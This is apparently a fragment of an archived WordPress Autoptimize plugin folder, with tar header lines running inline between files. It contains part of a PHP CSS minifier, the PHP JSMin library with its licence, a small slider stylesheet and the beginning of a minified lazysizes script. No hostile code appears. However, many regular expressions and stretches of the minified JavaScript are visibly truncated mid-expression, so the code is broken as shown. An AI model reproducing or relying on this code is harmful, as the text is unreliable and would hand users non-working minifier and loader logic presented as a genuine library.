urls, we need to handle // ' and ) being part of the data string. while (preg_match('/url\(\s*(["\']?)data:/Si', $css, $m, PREG_OFFSET_CAPTURE, $searchOffset)) { $matchStartIndex = $m[0][1]; $dataStartIndex = $matchStartIndex + 4; // url( length $searchOffset = $matchStartIndex + strlen($m[0][0]); $terminator = $m[1][0]; // ', " or empty (not quoted) $terminatorRegex = '/(?registerPreservedToken(trim($token)) .')'; // No end terminator found, re-add the whole match. Should we throw/warn here? } else { $ret .= substr($css, $matchStartIndex, $searchOffset - $matchStartIndex); } $substrOffset = $searchOffset; } $ret .= substr($css, $substrOffset); return $ret; } /** * Registers all comments found as candidates to be preserved. * @param array $matches * @return string */ private function processCommentsCallback($matches) { return '/*'. $this->registerCommentToken($matches[1]) .'*/'; } /** * Preserves old IE Matrix string definition * @param array $matches * @return string */ private function processOldIeSpecificMatrixDefinitionCallback($matches) { return 'filter:progid:DXImageTransform.Microsoft.Matrix('. $this->registerPreservedToken($matches[1]) .')'; } /** * Preserves strings found * @param array $matches * @return string */ private function processStringsCallback($matches) { $match = $matches[0]; $quote = substr($match, 0, 1); $match = substr($match, 1, -1); // maybe the string contains a comment-like substring? // one, maybe more? put'em back then if (strpos($match, self::COMMENT_TOKEN_START) !== false) { $match = strtr($match, $this->comments); } // minify alpha opacity in filter strings $match = str_ireplace('progid:DXImageTransform.Microsoft.Alpha(Opacity=', 'alpha(opacity=', $match); return $quote . $this->registerPreservedToken($match) . $quote; } /** * Searches & replaces all import at-rule unquoted urls with tokens so URI reserved characters such as a semicolon * may be used safely in a URL. * @param array $matches * @return string */ private function processImportUnquotedUrlAtRulesCallback($matches) { return '@import url('. $this->registerPreservedToken($matches[1]) .')'. $matches[2]; } /** * Preserves or removes comments found. * @param string $css * @return string */ private function processComments($css) { foreach ($this->comments as $commentId => $comment) { $commentIdString = '/*'. $commentId .'*/'; // ! in the first position of the comment means preserve // so push to the preserved tokens keeping the ! if ($this->keepImportantComments && strpos($comment, '!') === 0) { $preservedTokenId = $this->registerPreservedToken($comment); // Put new lines before and after /*! important comments $css = str_replace($commentIdString, "\n/*$preservedTokenId*/\n", $css); continue; } // # sourceMappingURL= in the first position of the comment means sourcemap // so push to the preserved tokens if {$this->keepSourceMapComment} is truthy. if ($this->keepSourceMapComment && strpos($comment, '# sourceMappingURL=') === 0) { $preservedTokenId = $this->registerPreservedToken($comment); // Add new line before the sourcemap comment $css = str_replace($commentIdString, "\n/*$preservedTokenId*/", $css); continue; } // Keep empty comments after child selectors (IE7 hack) // e.g. html >/**/ body if (strlen($comment) === 0 && strpos($css, '>/*'.$commentId) !== false) { $css = str_replace($commentId, $this->registerPreservedToken(''), $css); continue; } // in all other cases kill the comment $css = str_replace($commentIdString, '', $css); } // Normalize whitespace again $css = preg_replace('/ +/S', ' ', $css); return $css; } /** * Finds, minifies & preserves all rule bodies. * @param string $css the whole stylesheet. * @return string */ private function processRuleBodies($css) { $ret = ''; $searchOffset = $substrOffset = 0; while (($blockStartPos = strpos($css, '{', $searchOffset)) !== false) { $blockEndPos = strpos($css, '}', $blockStartPos); // When ending curly brace is missing, let's // behave like there was one at the end of the block... if ( false === $blockEndPos ) { $blockEndPos = strlen($css) - 1; } $nextBlockStartPos = strpos($css, '{', $blockStartPos + 1); $ret .= substr($css, $substrOffset, $blockStartPos - $substrOffset); if ($nextBlockStartPos !== false && $nextBlockStartPos < $blockEndPos) { $ret .= substr($css, $blockStartPos, $nextBlockStartPos - $blockStartPos); $searchOffset = $nextBlockStartPos; } else { $ruleBody = substr($css, $blockStartPos + 1, $blockEndPos - $blockStartPos - 1); $ruleBodyToken = $this->registerRuleBodyToken($this->processRuleBody($ruleBody)); $ret .= '{'. $ruleBodyToken .'}'; $searchOffset = $blockEndPos + 1; } $substrOffset = $searchOffset; } $ret .= substr($css, $substrOffset); return $ret; } /** * Compresses non-group rule bodies. * @param string $body The rule body without curly braces * @return string */ private function processRuleBody($body) { $body = trim($body); // Remove spaces before the things that should not have spaces before them. $body = preg_replace('/ ([:=,)*\/;\n])/S', '$1', $body); // Remove the spaces after the things that should not have spaces after them. $body = preg_replace('/([:=,(*\/!;\n]) /S', '$1', $body); // Replace multiple semi-colons in a row by a single one $body = preg_replace('/;;+/S', ';', $body); // Remove semicolon before closing brace except when: // - The last property is prefixed with a `*` (lte IE7 hack) to avoid issues on Symbian S60 3.x browsers. if (!preg_match('/\*[a-z0-9-]+:[^;]+;$/Si', $body)) { $body = rtrim($body, ';'); } // Remove important comments inside a rule body (because they make no sense here). if (strpos($body, '/*') !== false) { $body = preg_replace('/\n?\/\*[A-Z0-9_]+\*\/\n?/S', '', $body); } // Empty rule body? Exit :) if (empty($body)) { return ''; } // Shorten font-weight values $body = preg_replace( array('/(font-weight:)bold\b/Si', '/(font-weight:)normal\b/Si'), array('${1}700', '${1}400'), $body ); // Shorten background property $body = preg_replace('/(background:)(?:none|transparent)( !|;|$)/Si', '${1}0 0$2', $body); // Shorten opacity IE filter $body = str_ireplace('progid:DXImageTransform.Microsoft.Alpha(Opacity=', 'alpha(opacity=', $body); // Shorten colors from rgb(51,102,153) to #336699, rgb(100%,0%,0%) to #ff0000 (sRGB color space) // Shorten colors from hsl(0, 100%, 50%) to #ff0000 (sRGB color space) // This makes it more likely that it'll get further compressed in the next step. $body = preg_replace_callback( '/(rgb|hsl)\(([0-9,.% -]+)\)(.|$)/Si', array($this, 'shortenHslAndRgbToHexCallback'), $body ); // Shorten colors from #AABBCC to #ABC or shorter color name: // - Look for hex colors which don't have a "=" in front of them (to avoid MSIE filters) $body = preg_replace_callback( '/(?unquotedFontsRegex, array($this, 'preserveUnquotedFontTokens'), $body ); // Shorten long named colors with a shorter HEX counterpart: white -> #fff. // Run at least 2 times to cover most cases $body = preg_replace_callback( array($this->namedToHexColorsRegex, $this->namedToHexColorsRegex), array($this, 'shortenNamedColorsCallback'), $body ); // Restore unquoted font tokens now after colors have been changed. $body = $this->restoreUnquotedFontTokens($body); // Replace positive sign from numbers before the leading space is removed. // +1.2em to 1.2em, +.8px to .8px, +2% to 2% $body = preg_replace('/([ :,(])\+(\.?\d+)/S', '$1$2', $body); // shorten ms to s $body = preg_replace_callback('/([ :,(])(-?)(\d{3,})ms/Si', function ($matches) { return $matches[1] . $matches[2] . ((int) $matches[3] / 1000) .'s'; }, $body); // Remove leading zeros from integer and float numbers. // 000.6 to .6, -0.8 to -.8, 0050 to 50, -01.05 to -1.05 $body = preg_replace('/([ :,(])(-?)0+([1-9]?\.?\d+)/S', '$1$2$3', $body); // Remove trailing zeros from float numbers. // -6.0100em to -6.01em, .0100 to .01, 1.200px to 1.2px $body = preg_replace('/([ :,(])(-?\d?\.\d+?)0+([^\d])/S', '$1$2$3', $body); // Remove trailing .0 -> -9.0 to -9 $body = preg_replace('/([ :,(])(-?\d+)\.0([^\d])/S', '$1$2$3', $body); // Replace 0 length numbers with 0 $body = preg_replace('/([ :,(])-?\.?0+([^\d])/S', '${1}0$2', $body); // Shorten zero values for safe properties only $body = preg_replace( array( $this->shortenOneZeroesRegex, $this->shortenTwoZeroesRegex, $this->shortenThreeZeroesRegex, $this->shortenFourZeroesRegex ), array( '$1$2:0', '$1$2:$3 0', '$1$2:$3 $4 0', '$1$2:$3 $4 $5 0' ), $body ); // Replace 0 0 0; or 0 0 0 0; with 0 0 for background-position property. $body = preg_replace('/(background-position):0(?: 0){2,3}( !|;|$)/Si', '$1:0 0$2', $body); // Shorten suitable shorthand properties with repeated values $body = preg_replace( array( '/(margin|padding|border-(?:width|radius)):('.$this->numRegex.')(?: \2)+( !|;|$)/Si', '/(border-(?:style|color)):([#a-z0-9]+)(?: \2)+( !|;|$)/Si' ), '$1:$2$3', $body ); $body = preg_replace( array( '/(margin|padding|border-(?:width|radius)):'. '('.$this->numRegex.') ('.$this->numRegex.') \2 \3( !|;|$)/Si', '/(border-(?:style|color)):([#a-z0-9]+) ([#a-z0-9]+) \2 \3( !|;|$)/Si' ), '$1:$2 $3$4', $body ); $body = preg_replace( array( '/(margin|padding|border-(?:width|radius)):'. '('.$this->numRegex.') ('.$this->numRegex.') ('.$this->numRegex.') \3( !|;|$)/Si', '/(border-(?:style|color)):([#a-z0-9]+) ([#a-z0-9]+) ([#a-z0-9]+) \3( !|;|$)/Si' ), '$1:$2 $3 $4$5', $body ); // Lowercase some common functions that can be values $body = preg_replace_callback( '/(?:attr|blur|brightness|circle|contrast|cubic-bezier|drop-shadow|ellipse|from|grayscale|'. 'hsla?|hue-rotate|inset|invert|local|minmax|opacity|perspective|polygon|rgba?|rect|repeat|saturate|sepia|'. 'steps|to|url|var|-webkit-gradient|'. '(?:-(?:atsc|khtml|moz|ms|o|wap|webkit)-)?(?:calc|(?:repeating-)?(?:linear|radial)-gradient))\(/Si', array($this, 'strtolowerCallback'), $body ); // Lowercase all uppercase properties $body = preg_replace_callback('/(?:^|;)[A-Z-]+:/S', array($this, 'strtolowerCallback'), $body); return $body; } private function preserveUnquotedFontTokens($matches) { return $this->registerUnquotedFontToken($matches[0]); } private function restoreUnquotedFontTokens($body) { return strtr($body, $this->unquotedFontTokens); } /** * Compresses At-rules and selectors. * @param string $css the whole stylesheet with rule bodies tokenized. * @return string */ private function processAtRulesAndSelectors($css) { $charset = ''; $imports = ''; $namespaces = ''; // Remove spaces before the things that should not have spaces before them. $css = preg_replace('/ ([@{};>+)\]~=,\/\n])/S', '$1', $css); // Remove the spaces after the things that should not have spaces after them. $css = preg_replace('/([{}:;>+(\[~=,\/\n]) /S', '$1', $css); // Shorten shortable double colon (CSS3) pseudo-elements to single colon (CSS2) $css = preg_replace('/::(before|after|first-(?:line|letter))(\{|,)/Si', ':$1$2', $css); // Retain space for special IE6 cases $css = preg_replace_callback('/:first-(line|letter)(\{|,)/Si', function ($matches) { return ':first-'. strtolower($matches[1]) .' '. $matches[2]; }, $css); // Find a fraction that may used in some @media queries such as: (min-aspect-ratio: 1/1) // Add token to add the "/" back in later $css = preg_replace('/\(([a-z-]+):([0-9]+)\/([0-9]+)\)/Si', '($1:$2'. self::QUERY_FRACTION .'$3)', $css); // Remove empty rule blocks up to 2 levels deep. $css = preg_replace(array_fill(0, 2, '/(\{)[^{};\/\n]+\{\}/S'), '$1', $css); $css = preg_replace('/[^{};\/\n]+\{\}/S', '', $css); // Two important comments next to each other? Remove extra newline. if ($this->keepImportantComments) { $css = str_replace("\n\n", "\n", $css); } // Restore fraction $css = str_replace(self::QUERY_FRACTION, '/', $css); // Lowercase some popular @directives $css = preg_replace_callback( '/(?charsetRegex, $css, $matches)) { // Keep the first @charset at-rule found $charset = $matches[0]; // Delete all @charset at-rules $css = preg_replace($this->charsetRegex, '', $css); } // @import handling $css = preg_replace_callback($this->importRegex, function ($matches) use (&$imports) { // Keep all @import at-rules found for later $imports .= $matches[0]; // Delete all @import at-rules return ''; }, $css); // @namespace handling $css = preg_replace_callback($this->namespaceRegex, function ($matches) use (&$namespaces) { // Keep all @namespace at-rules found for later $namespaces .= $matches[0]; // Delete all @namespace at-rules return ''; }, $css); // Order critical at-rules: // 1. @charset first // 2. @imports below @charset // 3. @namespaces below @imports $css = $charset . $imports . $namespaces . $css; return $css; } /** * Splits long lines after a specific column. * * Some source control tools don't like it when files containing lines longer * than, say 8000 characters, are checked in. The linebreak option is used in * that case to split long lines after a specific column. * * @param string $css the whole stylesheet. * @return string */ private function processLongLineSplitting($css) { if ($this->linebreakPosition > 0) { $l = strlen($css); $offset = $this->linebreakPosition; while (preg_match('/(?linebreakPosition; $l += 1; if ($offset > $l) { break; } } } return $css; } /** * Converts hsl() & rgb() colors to HEX format. * @param $matches * @return string */ private function shortenHslAndRgbToHexCallback($matches) { $type = $matches[1]; $values = explode(',', $matches[2]); $terminator = $matches[3]; if ($type === 'hsl') { $values = Utils::hslToRgb($values); } $hexColors = Utils::rgbToHex($values); // Restore space after rgb() or hsl() function in some cases such as: // background-image: linear-gradient(to bottom, rgb(210,180,140) 10%, rgb(255,0,0) 90%); if (!empty($terminator) && !preg_match('/[ ,);]/S', $terminator)) { $terminator = ' '. $terminator; } return '#'. implode('', $hexColors) . $terminator; } /** * Compresses HEX color values of the form #AABBCC to #ABC or short color name. * @param $matches * @return string */ private function shortenHexColorsCallback($matches) { $hex = $matches[1]; // Shorten suitable 6 chars HEX colors if (strlen($hex) === 6 && preg_match('/^([0-9a-f])\1([0-9a-f])\2([0-9a-f])\3$/Si', $hex, $m)) { $hex = $m[1] . $m[2] . $m[3]; } // Lowercase $hex = '#'. strtolower($hex); // Replace Hex colors with shorter color names $color = array_key_exists($hex, $this->hexToNamedColorsMap) ? $this->hexToNamedColorsMap[$hex] : $hex; return $color . $matches[2]; } /** * Shortens all named colors with a shorter HEX counterpart for a set of safe properties * e.g. white -> #fff * @param array $matches * @return string */ private function shortenNamedColorsCallback($matches) { return $matches[1] . $this->namedToHexColorsMap[strtolower($matches[2])] . $matches[3]; } /** * Makes a string lowercase * @param array $matches * @return string */ private function strtolowerCallback($matches) { return strtolower($matches[0]); } } plugins/autoptimize-/classes/external/php/jsmin.php000064400000040326152335264760016575 0ustar00 * $minifiedJs = JSMin::minify($js); * * * This is a modified port of jsmin.c. Improvements: * * Does not choke on some regexp literals containing quote characters. E.g. /'/ * * Spaces are preserved after some add/sub operators, so they are not mistakenly * converted to post-inc/dec. E.g. a + ++b -> a+ ++b * * Preserves multi-line comments that begin with /*! * * PHP 5 or higher is required. * * Permission is hereby granted to use this version of the library under the * same terms as jsmin.c, which has the following license: * * -- * Copyright (c) 2002 Douglas Crockford (www.crockford.com) * * Permission is hereby granted, free of charge, to any person obtaining a copy of * this software and associated documentation files (the "Software"), to deal in * the Software without restriction, including without limitation the rights to * use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies * of the Software, and to permit persons to whom the Software is furnished to do * so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * The Software shall be used for Good, not Evil. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. * -- * * @package JSMin * @author Ryan Grove (PHP port) * @author Steve Clay (modifications + cleanup) * @author Andrea Giammarchi (spaceBeforeRegExp) * @copyright 2002 Douglas Crockford (jsmin.c) * @copyright 2008 Ryan Grove (PHP port) * @license http://opensource.org/licenses/mit-license.php MIT License * @link http://code.google.com/p/jsmin-php/ */ class JSMin { const ACTION_KEEP_A = 1; const ACTION_DELETE_A = 2; const ACTION_DELETE_A_B = 3; protected $a = "\n"; protected $b = ''; protected $input = ''; protected $inputIndex = 0; protected $inputLength = 0; protected $lookAhead = null; protected $output = ''; protected $lastByteOut = ''; protected $keptComment = ''; /** * Minify Javascript. * * @param string $js Javascript to be minified * * @return string */ public static function minify($js) { $jsmin = new JSMin($js); return $jsmin->min(); } /** * @param string $input */ public function __construct($input) { $this->input = $input; } /** * Perform minification, return result * * @return string */ public function min() { if ($this->output !== '') { // min already run return $this->output; } $mbIntEnc = null; if (function_exists('mb_strlen') && ((int)ini_get('mbstring.func_overload') & 2)) { $mbIntEnc = mb_internal_encoding(); mb_internal_encoding('8bit'); } if (isset($this->input[0]) && $this->input[0] === "\xef") { $this->input = substr($this->input, 3); } $this->input = str_replace("\r\n", "\n", $this->input); $this->inputLength = strlen($this->input); $this->action(self::ACTION_DELETE_A_B); while ($this->a !== null) { // determine next command $command = self::ACTION_KEEP_A; // default if ($this->isWhiteSpace($this->a)) { if (($this->lastByteOut === '+' || $this->lastByteOut === '-') && ($this->b === $this->lastByteOut)) { // Don't delete this space. If we do, the addition/subtraction // could be parsed as a post-increment } elseif (! $this->isAlphaNum($this->b)) { $command = self::ACTION_DELETE_A; } } elseif ($this->isLineTerminator($this->a)) { if ($this->isWhiteSpace($this->b)) { $command = self::ACTION_DELETE_A_B; // in case of mbstring.func_overload & 2, must check for null b, // otherwise mb_strpos will give WARNING } elseif ($this->b === null || (false === strpos('{[(+-!~#', $this->b) && ! $this->isAlphaNum($this->b))) { $command = self::ACTION_DELETE_A; } } elseif (! $this->isAlphaNum($this->a)) { if ($this->isWhiteSpace($this->b) || ($this->isLineTerminator($this->b) && (false === strpos('}])+-"\'`', $this->a)))) { $command = self::ACTION_DELETE_A_B; } } $this->action($command); } $this->output = trim($this->output); if ($mbIntEnc !== null) { mb_internal_encoding($mbIntEnc); } return $this->output; } /** * ACTION_KEEP_A = Output A. Copy B to A. Get the next B. * ACTION_DELETE_A = Copy B to A. Get the next B. * ACTION_DELETE_A_B = Get the next B. * * @param int $command * @throws JSMin_UnterminatedRegExpException|UnterminatedStringException */ protected function action($command) { // make sure we don't compress "a + ++b" to "a+++b", etc. if ($command === self::ACTION_DELETE_A_B && $this->b === ' ' && ($this->a === '+' || $this->a === '-')) { // Note: we're at an addition/substraction operator; the inputIndex // will certainly be a valid index if ($this->input[$this->inputIndex] === $this->a) { // This is "+ +" or "- -". Don't delete the space. $command = self::ACTION_KEEP_A; } } switch ($command) { case self::ACTION_KEEP_A: // 1 $this->output .= $this->a; if ($this->keptComment) { $this->output = rtrim($this->output, "\n"); $this->output .= $this->keptComment; $this->keptComment = ''; } $this->lastByteOut = $this->a; // fallthrough intentional case self::ACTION_DELETE_A: // 2 $this->a = $this->b; if ($this->a === "'" || $this->a === '"' || $this->a === '`') { // string/template literal $delimiter = $this->a; $str = $this->a; // in case needed for exception for(;;) { $this->output .= $this->a; $this->lastByteOut = $this->a; $this->a = $this->get(); if ($this->a === $this->b) { // end quote break; } if ($delimiter === '`' && $this->isLineTerminator($this->a)) { // leave the newline } elseif ($this->isEOF($this->a)) { $byte = $this->inputIndex - 1; throw new JSMin_UnterminatedStringException( "JSMin: Unterminated String at byte {$byte}: {$str}"); } $str .= $this->a; if ($this->a === '\\') { $this->output .= $this->a; $this->lastByteOut = $this->a; $this->a = $this->get(); $str .= $this->a; } } } // fallthrough intentional case self::ACTION_DELETE_A_B: // 3 $this->b = $this->next(); if ($this->b === '/' && $this->isRegexpLiteral()) { $this->output .= $this->a . $this->b; $pattern = '/'; // keep entire pattern in case we need to report it in the exception for(;;) { $this->a = $this->get(); $pattern .= $this->a; if ($this->a === '[') { for(;;) { $this->output .= $this->a; $this->a = $this->get(); $pattern .= $this->a; if ($this->a === ']') { break; } if ($this->a === '\\') { $this->output .= $this->a; $this->a = $this->get(); $pattern .= $this->a; } if ($this->isEOF($this->a)) { throw new JSMin_UnterminatedRegExpException( "JSMin: Unterminated set in RegExp at byte " . $this->inputIndex .": {$pattern}"); } } } if ($this->a === '/') { // end pattern break; // while (true) } elseif ($this->a === '\\') { $this->output .= $this->a; $this->a = $this->get(); $pattern .= $this->a; } elseif ($this->isEOF($this->a)) { $byte = $this->inputIndex - 1; throw new JSMin_UnterminatedRegExpException( "JSMin: Unterminated RegExp at byte {$byte}: {$pattern}"); } $this->output .= $this->a; $this->lastByteOut = $this->a; } $this->b = $this->next(); } // end case ACTION_DELETE_A_B } } /** * @return bool */ protected function isRegexpLiteral() { if (false !== strpos("(,=:[!&|?+-~*{;", $this->a)) { // we can't divide after these tokens return true; } // check if first non-ws token is "/" (see starts-regex.js) $length = strlen($this->output); if ($this->isWhiteSpace($this->a) || $this->isLineTerminator($this->a)) { if ($length < 2) { // weird edge case return true; } } // if the "/" follows a keyword, it must be a regexp, otherwise it's best to assume division $subject = $this->output . trim($this->a); if (!preg_match('/(?:case|else|in|return|typeof)$/', $subject, $m)) { // not a keyword return false; } // can't be sure it's a keyword yet (see not-regexp.js) $charBeforeKeyword = substr($subject, 0 - strlen($m[0]) - 1, 1); if ($this->isAlphaNum($charBeforeKeyword)) { // this is really an identifier ending in a keyword, e.g. "xreturn" return false; } // it's a regexp. Remove unneeded whitespace after keyword if ($this->isWhiteSpace($this->a) || $this->isLineTerminator($this->a)) { $this->a = ''; } return true; } /** * Return the next character from stdin. Watch out for lookahead. If the character is a control character, * translate it to a space or linefeed. * * @return string */ protected function get() { $c = $this->lookAhead; $this->lookAhead = null; if ($c === null) { // getc(stdin) if ($this->inputIndex < $this->inputLength) { $c = $this->input[$this->inputIndex]; $this->inputIndex += 1; } else { $c = null; } } if ($c === "\r") { return "\n"; } return $c; } /** * Does $a indicate end of input? * * @param string $a * @return bool */ protected function isEOF($a) { return $a === null || $this->isLineTerminator($a); } /** * Get next char (without getting it). If is ctrl character, translate to a space or newline. * * @return string */ protected function peek() { $this->lookAhead = $this->get(); return $this->lookAhead; } /** * Return true if the character is a letter, digit, underscore, dollar sign, or non-ASCII character. * * @param string $c * * @return bool */ protected function isAlphaNum($c) { return (preg_match('/^[a-z0-9A-Z_\\$\\\\]$/', $c) || ord($c) > 126); } /** * Consume a single line comment from input (possibly retaining it) */ protected function consumeSingleLineComment() { $comment = ''; while (true) { $get = $this->get(); $comment .= $get; if ($this->isEOF($get)) { // if IE conditional comment if (preg_match('/^\\/@(?:cc_on|if|elif|else|end)\\b/', $comment)) { $this->keptComment .= "/{$comment}"; } return; } } } /** * Consume a multiple line comment from input (possibly retaining it) * * @throws JSMin_UnterminatedCommentException */ protected function consumeMultipleLineComment() { $this->get(); $comment = ''; for(;;) { $get = $this->get(); if ($get === '*') { if ($this->peek() === '/') { // end of comment reached $this->get(); if (0 === strpos($comment, '!')) { // preserved by YUI Compressor if (!$this->keptComment) { // don't prepend a newline if two comments right after one another $this->keptComment = "\n"; } $this->keptComment .= "/*!" . substr($comment, 1) . "*/\n"; } else if (preg_match('/^@(?:cc_on|if|elif|else|end)\\b/', $comment)) { // IE conditional $this->keptComment .= "/*{$comment}*/"; } return; } } elseif ($get === null) { throw new JSMin_UnterminatedCommentException( "JSMin: Unterminated comment at byte {$this->inputIndex}: /*{$comment}"); } $comment .= $get; } } /** * Get the next character, skipping over comments. Some comments may be preserved. * * @return string */ protected function next() { $get = $this->get(); if ($get === '/') { switch ($this->peek()) { case '/': $this->consumeSingleLineComment(); $get = "\n"; break; case '*': $this->consumeMultipleLineComment(); $get = ' '; break; } } return $get; } protected function isWhiteSpace($s) { // https://www.ecma-international.org/ecma-262/#sec-white-space return $s !== null && strpos(" \t\v\f", $s) !== false; } protected function isLineTerminator($s) { // https://www.ecma-international.org/ecma-262/#sec-line-terminators return $s !== null && strpos("\n\r", $s) !== false; } } class JSMin_UnterminatedStringException extends Exception {} class JSMin_UnterminatedCommentException extends Exception {} class JSMin_UnterminatedRegExpException extends Exception {} plugins/autoptimize-/classes/external/js/index.html000064400000000276152335264760016566 0ustar00Generated by Autoptimize plugins/autoptimize-/classes/external/js/unslider-dots.css000064400000001412152335264760020070 0ustar00/** * Here's where everything gets included. You don't need * to change anything here, and doing so might break * stuff. Here be dragons and all that. */ /** * Default variables * * While these can be set with JavaScript, it's probably * better and faster to just set them here, compile to * CSS and include that instead to use some of that * hardware-accelerated goodness. */ .unslider-nav ol { list-style: none; text-align: center; } .unslider-nav ol li { display: inline-block; width: 6px; height: 6px; margin: 0 4px; background: transparent; border-radius: 5px; overflow: hidden; text-indent: -999em; border: 2px solid #fff; cursor: pointer; } .unslider-nav ol li.unslider-active { background: #fff; cursor: default; } plugins/autoptimize-/classes/external/js/lazysizes.min.js000064400000023125152335264760017744 0ustar00/*! lazysizes + ls unveilhooks - v5.3.1 (incl. ls-uvh data-link fix) */ !function(e){var t=function(u,D,f){"use strict";var k,H;if(function(){var e;var t={lazyClass:"lazyload",loadedClass:"lazyloaded",loadingClass:"lazyloading",preloadClass:"lazypreload",errorClass:"lazyerror",autosizesClass:"lazyautosizes",fastLoadedClass:"ls-is-cached",iframeLoadMode:0,srcAttr:"data-src",srcsetAttr:"data-srcset",sizesAttr:"data-sizes",minSize:40,customMedia:{},init:true,expFactor:1.5,hFac:.8,loadMode:2,loadHidden:true,ricTimeout:0,throttleDelay:125};H=u.lazySizesConfig||u.lazysizesConfig||{};for(e in t){if(!(e in H)){H[e]=t[e]}}}(),!D||!D.getElementsByClassName){return{init:function(){},cfg:H,noSupport:true}}var O=D.documentElement,i=u.HTMLPictureElement,P="addEventListener",$="getAttribute",q=u[P].bind(u),I=u.setTimeout,U=u.requestAnimationFrame||I,o=u.requestIdleCallback,j=/^picture$/i,r=["load","error","lazyincluded","_lazyloaded"],a={},G=Array.prototype.forEach,J=function(e,t){if(!a[t]){a[t]=new RegExp("(\\s|^)"+t+"(\\s|$)")}return a[t].test(e[$]("class")||"")&&a[t]},K=function(e,t){if(!J(e,t)){e.setAttribute("class",(e[$]("class")||"").trim()+" "+t)}},Q=function(e,t){var a;if(a=J(e,t)){e.setAttribute("class",(e[$]("class")||"").replace(a," "))}},V=function(t,a,e){var i=e?P:"removeEventListener";if(e){V(t,a)}r.forEach(function(e){t[i](e,a)})},X=function(e,t,a,i,r){var n=D.createEvent("Event");if(!a){a={}}a.instance=k;n.initEvent(t,!i,!r);n.detail=a;e.dispatchEvent(n);return n},Y=function(e,t){var a;if(!i&&(a=u.picturefill||H.pf)){if(t&&t.src&&!e[$]("srcset")){e.setAttribute("srcset",t.src)}a({reevaluate:true,elements:[e]})}else if(t&&t.src){e.src=t.src}},Z=function(e,t){return(getComputedStyle(e,null)||{})[t]},s=function(e,t,a){a=a||e.offsetWidth;while(a49?function(){o(t,{timeout:n});if(n!==H.ricTimeout){n=H.ricTimeout}}:te(function(){I(t)},true);return function(e){var t;if(e=e===true){n=33}if(a){return}a=true;t=r-(f.now()-i);if(t<0){t=0}if(e||t<9){s()}else{I(s,t)}}},ie=function(e){var t,a;var i=99;var r=function(){t=null;e()};var n=function(){var e=f.now()-a;if(e0;if(r&&Z(i,"overflow")!="visible"){a=i.getBoundingClientRect();r=C>a.left&&pa.top-1&&g500&&O.clientWidth>500?500:370:H.expand;k._defEx=u;f=u*H.expFactor;c=H.hFac;A=null;if(w2&&h>2&&!D.hidden){w=f;N=0}else if(h>1&&N>1&&M<6){w=u}else{w=_}}if(l!==n){y=innerWidth+n*c;z=innerHeight+n;s=n*-1;l=n}a=d[t].getBoundingClientRect();if((b=a.bottom)>=s&&(g=a.top)<=z&&(C=a.right)>=s*c&&(p=a.left)<=y&&(b||C||p||g)&&(H.loadHidden||x(d[t]))&&(m&&M<3&&!o&&(h<3||N<4)||W(d[t],n))){R(d[t]);r=true;if(M>9){break}}else if(!r&&m&&!i&&M<4&&N<4&&h>2&&(v[0]||H.preloadAfterLoad)&&(v[0]||!o&&(b||C||p||g||d[t][$](H.sizesAttr)!="auto"))){i=v[0]||d[t]}}if(i&&!r){R(i)}}};var a=ae(t);var S=function(e){var t=e.target;if(t._lazyCache){delete t._lazyCache;return}L(e);K(t,H.loadedClass);Q(t,H.loadingClass);V(t,B);X(t,"lazyloaded")};var i=te(S);var B=function(e){i({target:e.target})};var T=function(e,t){var a=e.getAttribute("data-load-mode")||H.iframeLoadMode;if(a==0){e.contentWindow.location.replace(t)}else if(a==1){e.src=t}};var F=function(e){var t;var a=e[$](H.srcsetAttr);if(t=H.customMedia[e[$]("data-media")||e[$]("media")]){e.setAttribute("media",t)}if(a){e.setAttribute("srcset",a)}};var s=te(function(t,e,a,i,r){var n,s,o,l,u,f;if(!(u=X(t,"lazybeforeunveil",e)).defaultPrevented){if(i){if(a){K(t,H.autosizesClass)}else{t.setAttribute("sizes",i)}}s=t[$](H.srcsetAttr);n=t[$](H.srcAttr);if(r){o=t.parentNode;l=o&&j.test(o.nodeName||"")}f=e.firesLoad||"src"in t&&(s||n||l);u={target:t};K(t,H.loadingClass);if(f){clearTimeout(c);c=I(L,2500);V(t,B,true)}if(l){G.call(o.getElementsByTagName("source"),F)}if(s){t.setAttribute("srcset",s)}else if(n&&!l){if(d.test(t.nodeName)){T(t,n)}else{t.src=n}}if(r&&(s||l)){Y(t,{src:n})}}if(t._lazyRace){delete t._lazyRace}Q(t,H.lazyClass);ee(function(){var e=t.complete&&t.naturalWidth>1;if(!f||e){if(e){K(t,H.fastLoadedClass)}S(u);t._lazyCache=true;I(function(){if("_lazyCache"in t){delete t._lazyCache}},9)}if(t.loading=="lazy"){M--}},true)});var R=function(e){if(e._lazyRace){return}var t;var a=n.test(e.nodeName);var i=a&&(e[$](H.sizesAttr)||e[$]("sizes"));var r=i=="auto";if((r||!m)&&a&&(e[$]("src")||e.srcset)&&!e.complete&&!J(e,H.errorClass)&&J(e,H.lazyClass)){return}t=X(e,"lazyunveilread").detail;if(r){re.updateElem(e,true,e.offsetWidth)}e._lazyRace=true;M++;s(e,t,r,i,a)};var r=ie(function(){H.loadMode=3;a()});var o=function(){if(H.loadMode==3){H.loadMode=2}r()};var l=function(){if(m){return}if(f.now()-e<999){I(l,999);return}m=true;H.loadMode=3;a();q("scroll",o,true)};return{_:function(){e=f.now();k.elements=D.getElementsByClassName(H.lazyClass);v=D.getElementsByClassName(H.lazyClass+" "+H.preloadClass);q("scroll",a,true);q("resize",a,true);q("pageshow",function(e){if(e.persisted){var t=D.querySelectorAll("."+H.loadingClass);if(t.length&&t.forEach){U(function(){t.forEach(function(e){if(e.complete){R(e)}})})}}});if(u.MutationObserver){new 